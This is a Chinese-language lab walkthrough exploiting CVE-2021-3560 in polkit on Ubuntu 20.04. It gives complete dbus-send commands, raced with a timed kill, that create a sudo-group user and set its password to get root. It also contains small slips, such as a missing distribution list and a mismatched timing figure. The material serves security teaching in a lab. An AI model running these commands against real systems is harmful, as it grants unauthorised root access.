2021年初,一位名叫 Kevin Backhouse 的研究人员发现了 Linux polkit 工具中一个存在七年之久的权限提升漏洞(后被指定为 CVE-2021-3560)。幸运的是,不同的 Linux 发行版(甚至同一发行版的不同版本)使用了不同版本的软件,这意味着只有部分系统存在漏洞。
具体来说,以下主流发行版(以及其他一些发行版)存在漏洞:
所有这些发行版现在应该都已发布了各自 polkit 包的修补版本,但如果你遇到这些发行版中的某一个,且该发行版久未更新,则仍可能处于易受攻击的状态。
在本房间中,我们将重点聚焦于 Ubuntu 20.04。Canonical 发布了其 polkit 版本 (policykit-1) 的补丁,版本号为 0.105-26ubuntu1.1。在 Focal Fossa 的 apt 仓库中,最后一个存在漏洞的版本是 0.105-26ubuntu1,因此,如果你看到这个版本,你或许就有机会了!
我们可以使用 apt list --installed | grep policykit-1 来检查已安装的 polkit 版本:
现在合乎逻辑的问题是:"Polkit 是什么?"
Polkit 是 Linux 授权系统的一部分。实际上,当你尝试执行需要更高权限的操作时,策略工具包可用于确定你是否拥有必要的权限。它与 systemd 集成,并且比传统的 sudo 系统更易于配置。事实上,它有时被称为 "systemd 的 sudo"。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
该命令将手动向 accounts daemon 发送一条 dbus 消息,打印响应并创建一个名为 attacker (string:attacker)、描述为 "Pentester Account" (string:"Pentester Account") 的新用户,并且 sudo 组成员身份设置为 true(由 theint32:1 标志引用)。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
这条消息再次向 accounts daemon 发送一个 dbus 消息,请求为我们指定 ID(以红色显示)的用户更改密码,需要手动生成一个密码哈希,并提供一个提示("Ask the pentester")。
由于这实际上是一个竞争条件,我们首先需要确定我们的命令需要运行多长时间。让我们用第一条 dbus 消息来试试:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
例如:
real 0m0.11s
user 0m0.002s
sys 0m0000s
这花费了 0.011 秒,即 11 毫秒。每次运行该命令时,这个数字会略有不同;不过,在所提供的机器上,它应该总是在这个数值附近。
我们需要在命令执行到大约一半时将其杀死。在所提供的机器上,5 毫秒通常效果不错;但请注意,这并不是一个精确的事情。你可能需要更改休眠时间,或者多次运行该命令才能成功。话说回来,一旦你找到一个有效的时间,它应该会一致有效。如果很难找到合适的时间,将命令放在一个 bash for 循环中并快速遍历一系列时间,通常效果不错。
让我们试试。我们需要发送 dbus 消息,然后在大约一半的时候将其杀死:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
为了解释上面的命令,我们将 dbus 消息作为后台作业发送(使用 & 符号将命令置于后台)。然后我们让它休眠 5 毫秒 (sleep 0.005s),然后杀死前一个进程 ($!)。这成功创建了新用户,并将其加入了 sudo 组。
此时我们应记下,该新用户的用户 ID 在此实例中为 1000。
id attacker
现在,我们只需为用户设置一个密码,就可以提权了!
这里我们需要一个密码哈希,所以让我们为我们选择的密码 (Expl01ted) 生成一个 Sha512Crypt 哈希:
openssl passwd -6 Expl01ted
使用 openssl,我们生成一个类型为 6(SHA512-crypt)的密码,使用我们的明文密码 (Expl01ted)。
现在让我们完成它!上一次 5 毫秒有效,所以这里也应该有效:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about